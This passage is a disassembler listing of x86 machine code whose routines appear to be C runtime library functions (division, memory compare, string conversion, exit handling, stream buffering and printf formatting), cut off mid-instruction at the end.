loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_48A014, 0Dh mov dword_48A018, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F88+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_48A0A8, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_48A0B8 call esi test eax, eax jnz loc_419AB2 nop call near ptr 26402CBh cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_4395A0 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_48A0B8 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_48A0A8, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_48A0B8 nop call near ptr 2620000h cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; =============== S U B R O U T I N E ======================================= sub_419AB8 proc near ; CODE XREF: ___:00419C77p mov eax, off_43956C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: sub_419AB8+7j push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn sub_419AB8 endp ; =============== S U B R O U T I N E ======================================= sub_419AE5 proc near ; CODE XREF: ___:00419CB6p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AE5 endp ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: ___:00419CD5p ; sub_419CDA+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: sub_419AE5+8p ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_48A05C, edi jnz short loc_419B24 push [esp+4+arg_0] nop call near ptr 2760E6Ch push eax call near ptr 27B0AC5h nop loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_48A058, edi mov byte_48A054, bl jnz short loc_419B78 mov eax, dword_48B69C test eax, eax jz short loc_419B67 mov ecx, dword_48B698 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_48B69C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_48A05C, edi nop call near ptr 77E75CB5h loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: sub_419AB8+15p ; sub_419AB8+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 27A0C7Ch test eax, eax jnz short loc_419BD0 nop call near ptr 26402CBh jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- mov eax, ds:0A09DDAA9h pop es add [ebx], al jmp short loc_419C28 ; --------------------------------------------------------------------------- dw 12F5h dd 647A811Eh, 0A1h, 89645000h, 25h, 58EC8300h, 89575653h dd 1EE8E865h, 90023F7Fh, 0D48AD233h, 0A02C1589h, 0C88B0048h dd 0FFE181h, 0D890000h, 48A028h ; --------------------------------------------------------------------------- loc_419C28: ; CODE XREF: ___:00419BECj shl ecx, 8 add ecx, edx mov dword_48A024, ecx shr eax, 10h mov dword_48A020, eax xor esi, esi push esi call sub_41ACE4 pop ecx test eax, eax jnz short loc_419C50 push 1Ch call sub_419CFF pop ecx loc_419C50: ; CODE XREF: ___:00419C46j mov [ebp-4], esi call sub_41F5BF nop call near ptr 2811AF4h mov dword_48B68C, eax call sub_41F48D mov dword_48A060, eax call sub_41F240 call sub_41F187 call sub_419AB8 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call near ptr 2810000h nop call sub_41F12F mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_419C9D movzx eax, word ptr [ebp-2Ch] jmp short loc_419CA0 ; --------------------------------------------------------------------------- loc_419C9D: ; CODE XREF: ___:00419C95j push 0Ah pop eax loc_419CA0: ; CODE XREF: ___:00419C9Bj push eax push dword ptr [ebp-64h] push esi push esi nop call near ptr 2710000h push eax call sub_40E6A9 mov [ebp-60h], eax push eax call sub_419AE5 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_41EFAB pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_419AF6 ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; sub_41F187+4Ep ... arg_0 = dword ptr 4 cmp dword_48A068, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_439590 pop ecx pop ecx retn sub_419CDA endp ; =============== S U B R O U T I N E ======================================= sub_419CFF proc near ; CODE XREF: ___:00419C4Ap arg_0 = dword ptr 4 cmp dword_48A068, 1 jnz short loc_419D0D call sub_41F84C loc_419D0D: ; CODE XREF: sub_419CFF+7j push [esp+arg_0] call sub_41F885 pop ecx push 0FFh nop call near ptr 77E75CB5h retn sub_419CFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172B0+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_43BCD8 jz short loc_419D83 cmp esi, offset dword_43BCF8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_43BC20 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172B0+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_4395A0 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_43959C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_439598 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43B900 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_43B90C pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_43B904 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_439598 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz 